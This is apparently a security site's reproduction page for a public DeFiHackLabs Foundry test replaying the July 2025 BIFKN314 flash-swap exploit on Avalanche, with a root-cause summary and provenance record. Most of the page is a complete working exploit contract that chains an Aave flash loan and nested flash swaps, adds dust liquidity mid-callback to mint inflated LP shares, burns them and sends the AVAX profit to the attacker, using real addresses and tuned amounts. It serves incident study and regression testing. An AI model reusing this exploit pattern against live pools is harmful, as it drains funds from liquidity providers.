Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/AvaxBIFKNPair_exp.sol

Public reproduction file for dataset entry AvaxBIFKNPair.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/AvaxBIFKNPair_exp.sol212 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,422.73 USD
8// Attacker : https://snowtrace.io/address/0x13459bc2db6053524881415321667d5e16f5f15c
9// Attack Contract : https://snowtrace.io/address/0x346a89f7f5b42b67fc66ef4b3fb816a2a8bce552
10// Vulnerable Contract : https://snowtrace.io/address/0x5b5913eec2031c9d8383e3afcfd269217e481ce1
11// Attack Tx : https://snowtrace.io/tx/0xab813aeecd174d51a9f6d7d0eb9b323bccedba6c5cce0e965781a08f3473dbd5
13// @Info
14// Vulnerable Contract Code : https://snowtrace.io/address/0x5b5913eec2031c9d8383e3afcfd269217e481ce1#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1559
18//
19// Attack summary: the attacker borrowed WAVAX from Aave and pair tokens from a RadioShack pair, unwrapped
20// WAVAX to AVAX, used the BIFKN314 flashSwap to take AVAX and victim tokens, minted oversized LP shares
21// with a dust addLiquidity call during the callback, burned the inflated LP position, minted the small
22// pair-token fee needed for repayment, and kept the AVAX profit.
23// Root cause: BIFKN314 flashSwap checks repayment only after BIFKN314CALL, so addLiquidity can run while
24// pool balances are distorted by the flash-swap outputs and mint far more LP shares than the dust
25// contribution should receive. This tx also depended on the attacker EOA being allowlisted as tx.origin
26// for the unverified pair token transfer gate.
27// Related same-root-cause tx : https://snowtrace.io/tx/0xdfd0df964bcb15c18c1f5792907ff798c67d7315b961f11aabd66ecb5249dde2
29interface IBIFKN314PairVictim {
30 function addLiquidity(
31 uint256 amountToken,
32 address recipient,
33 uint256 deadline
34 ) external payable returns (uint256 liquidity);
35 function flashSwap(
36 address recipient,
37 uint256 amountNativeOut,
38 uint256 amountTokenOut,
39 bytes calldata data
40 ) external;
41 function removeLiquidity(
42 uint256 amount,
43 address recipient,
44 uint256 deadline
45 ) external returns (uint256 nativeAmount, uint256 tokenAmount);
46 function getReserves() external view returns (uint256 amountNative, uint256 amountToken);
47 function transfer(
48 address to,
49 uint256 amount
50 ) external returns (bool);
53interface IMintableERC20 {
54 function mint(
55 address account,
56 uint256 amount
57 ) external;
60contract ContractTest is BaseTestWithBalanceLog {
61 address private constant ATTACKER = 0x13459bC2Db6053524881415321667d5E16F5F15C;
62 address private constant PAIR_TOKEN = 0xDd2e3B6F09a28e87c286Da081a7E244101a0FE69;
63 uint256 private constant PAIR_TOKEN_ALLOWLIST_SLOT = 6;
64 uint256 private constant FORK_BLOCK = 66_181_042;
65 uint256 private constant MIN_AVAX_PROFIT = 90 ether;
67 function setUp() public {
68 // step 1: fork before the attack transaction and configure the profit asset.
69 vm.createSelectFork("avalanche", FORK_BLOCK);
71 fundingToken = address(0);
72 attacker = ATTACKER;
74 vm.label(ATTACKER, "attacker");
75 vm.label(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7, "WAVAX");
76 vm.label(0x794a61358D6845594F94dc1DB02A252b5b4814aD, "Aave v3 pool");
77 vm.label(0x3652E58bC41341B0026334AC20C2948E18c23136, "RadioShack pair");
78 vm.label(PAIR_TOKEN, "pair token1");
79 vm.label(0x5B5913EeC2031c9D8383e3afCfd269217E481ce1, "BIFKN314 victim");
80 vm.label(0xd4C6BA250bFF38218937422d7aCCf55552916558, "BIFKN314 LP token");
81 }
83 function testExploit() public balanceLog {
84 uint256 beforeBalance = ATTACKER.balance;
85 // step 2: assert the pair-token allowlist precondition used by the historical tx.origin.
86 bytes32 attackerAllowlistSlot = keccak256(abi.encode(ATTACKER, PAIR_TOKEN_ALLOWLIST_SLOT));
87 assertEq(
88 uint256(vm.load(PAIR_TOKEN, attackerAllowlistSlot)),
89 1,
90 "attacker tx.origin is not pair-token allowlisted"
91 );
93 vm.startPrank(ATTACKER, ATTACKER);
94 AvaxBIFKNPairExploit exploit = new AvaxBIFKNPairExploit(ATTACKER);
95 // step 3: run the attacker-controlled exploit and forward AVAX profit to the attacker.
96 exploit.execute();
97 vm.stopPrank();
99 // step 10: assert meaningful AVAX profit without overfitting exact trace dust.
100 assertGt(ATTACKER.balance - beforeBalance, MIN_AVAX_PROFIT, "insufficient AVAX profit");
101 }
104contract AvaxBIFKNPairExploit {
105 IAaveFlashloan public constant AAVE_POOL = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
106 IWETH public constant WAVAX = IWETH(payable(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7));
107 IUniswapV2Pair public constant PAIR = IUniswapV2Pair(0x3652E58bC41341B0026334AC20C2948E18c23136);
108 IERC20 public constant PAIR_TOKEN = IERC20(0xDd2e3B6F09a28e87c286Da081a7E244101a0FE69);
109 IBIFKN314PairVictim public constant VICTIM = IBIFKN314PairVictim(0x5B5913EeC2031c9D8383e3afCfd269217E481ce1);
110 IERC20 public constant LP_TOKEN = IERC20(0xd4C6BA250bFF38218937422d7aCCf55552916558);
112 uint256 private constant FLASH_WAVAX_AMOUNT = 1000 ether;
113 uint256 private constant PAIR_TOKEN_BORROW = 10_150_751_249_999_999_999_996;
114 uint256 private constant PAIR_TOKEN_MINT = 50_753_756_249_999_999_999;
115 uint256 private constant PAIR_TOKEN_REPAY = PAIR_TOKEN_BORROW + PAIR_TOKEN_MINT;
116 uint256 private constant FLASH_NATIVE_OUT = 92_901_517_915_106_633_387;
117 uint256 private constant FLASH_TOKEN_OUT = 2_444_778_402_553_574_477_179;
118 uint256 private constant LIQUIDITY_NATIVE = 92_901_517_915_106_633;
119 uint256 private constant LIQUIDITY_TOKEN = 92_901_517_915_106_633;
120 uint256 private constant FLASH_NATIVE_REPAY = 93_272_659_479_177_484_387;
121 uint256 private constant FLASH_TOKEN_REPAY = FLASH_TOKEN_OUT - LIQUIDITY_TOKEN;
123 address private immutable profitRecipient;
125 constructor(
126 address recipient
127 ) {
128 profitRecipient = recipient;
129 }
131 function execute() external {
132 // step 4: borrow WAVAX from Aave and enter the nested pair/victim flash swaps.
133 AAVE_POOL.flashLoanSimple(address(this), address(WAVAX), FLASH_WAVAX_AMOUNT, "", 0);
135 uint256 profit = address(this).balance;
136 (bool success,) = payable(profitRecipient).call{value: profit}("");
137 require(success, "profit transfer failed");
138 }
140 function executeOperation(
141 address asset,
142 uint256 amount,
143 uint256 premium,
144 address initiator,
145 bytes calldata
146 ) external returns (bool) {
147 require(msg.sender == address(AAVE_POOL), "unexpected lender");
148 require(initiator == address(this), "unexpected initiator");
149 require(asset == address(WAVAX), "unexpected flash asset");
150 require(amount == FLASH_WAVAX_AMOUNT, "unexpected flash amount");
151 require(premium > 0, "unexpected premium");
153 // step 5: borrow pair tokens through the RadioShack flash-swap callback.
154 PAIR.swap(0, PAIR_TOKEN_BORROW, address(this), "flash");
156 // step 9: wrap AVAX and approve Aave repayment after the nested flash swaps settle.
157 uint256 repayAmount = amount + premium;
158 WAVAX.deposit{value: repayAmount}();
159 WAVAX.approve(address(AAVE_POOL), repayAmount);
161 return true;
162 }
164 function uniswapV2Call(
165 address sender,
166 uint256 amount0Out,
167 uint256 amount1Out,
168 bytes calldata
169 ) external {
170 require(msg.sender == address(PAIR), "unexpected pair");
171 require(sender == address(this), "unexpected pair sender");
172 require(amount0Out == 0, "unexpected token0 out");
173 require(amount1Out == PAIR_TOKEN_BORROW, "unexpected token1 out");
175 // step 6: unwrap WAVAX and trigger the vulnerable BIFKN314 flash swap.
176 WAVAX.withdraw(FLASH_WAVAX_AMOUNT);
178 VICTIM.flashSwap(address(this), FLASH_NATIVE_OUT, FLASH_TOKEN_OUT, "");
180 // step 8: burn inflated LP shares, mint the pair-token fee, and repay the pair flash swap.
181 uint256 lpBalance = LP_TOKEN.balanceOf(address(this));
182 LP_TOKEN.approve(address(VICTIM), lpBalance);
183 VICTIM.removeLiquidity(lpBalance, address(this), block.timestamp + 3 minutes);
185 IMintableERC20(address(PAIR_TOKEN)).mint(address(this), PAIR_TOKEN_MINT);
186 PAIR_TOKEN.transfer(address(PAIR), PAIR_TOKEN_REPAY);
187 }
189 function BIFKN314CALL(
190 address sender,
191 uint256 amountNativeOut,
192 uint256 amountTokenOut,
193 bytes calldata
194 ) external {
195 require(msg.sender == address(VICTIM), "unexpected flash-swap caller");
196 require(sender == address(this), "unexpected flash-swap sender");
197 require(amountNativeOut == FLASH_NATIVE_OUT, "unexpected native out");
198 require(amountTokenOut == FLASH_TOKEN_OUT, "unexpected token out");
200 // step 7: add dust liquidity while balances are distorted, then repay the victim flash swap.
201 uint256 minted =
202 VICTIM.addLiquidity{value: LIQUIDITY_NATIVE}(LIQUIDITY_TOKEN, address(this), block.timestamp + 3 minutes);
203 require(minted > LIQUIDITY_NATIVE, "liquidity inflation did not occur");
205 (bool success,) = payable(address(VICTIM)).call{value: FLASH_NATIVE_REPAY}("");
206 require(success, "native flash-swap repayment failed");
208 VICTIM.transfer(address(VICTIM), FLASH_TOKEN_REPAY);
209 }
211 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “AvaxBIFKNPair” (2025-07-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x13459bc2db6053524881415321667d5e16f5f15c

  • Attack Contract

    0x346a89f7f5b42b67fc66ef4b3fb816a2a8bce552

  • Vulnerable Contract

    0x5b5913eec2031c9d8383e3afcfd269217e481ce1

  • Attack Tx

    0xab813aeecd174d51a9f6d7d0eb9b323bccedba6c5cce0e965781a08f3473dbd5

File record

Name
AvaxBIFKNPair
Path
src/test/2025-07/AvaxBIFKNPair_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
87854a76b429059db72cda27de55069057d1a112
Language
Solidity
Size
213 lines
Date
2025-07-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/AvaxBIFKNPair_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 87854a76b429059db72cda27de55069057d1a112, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.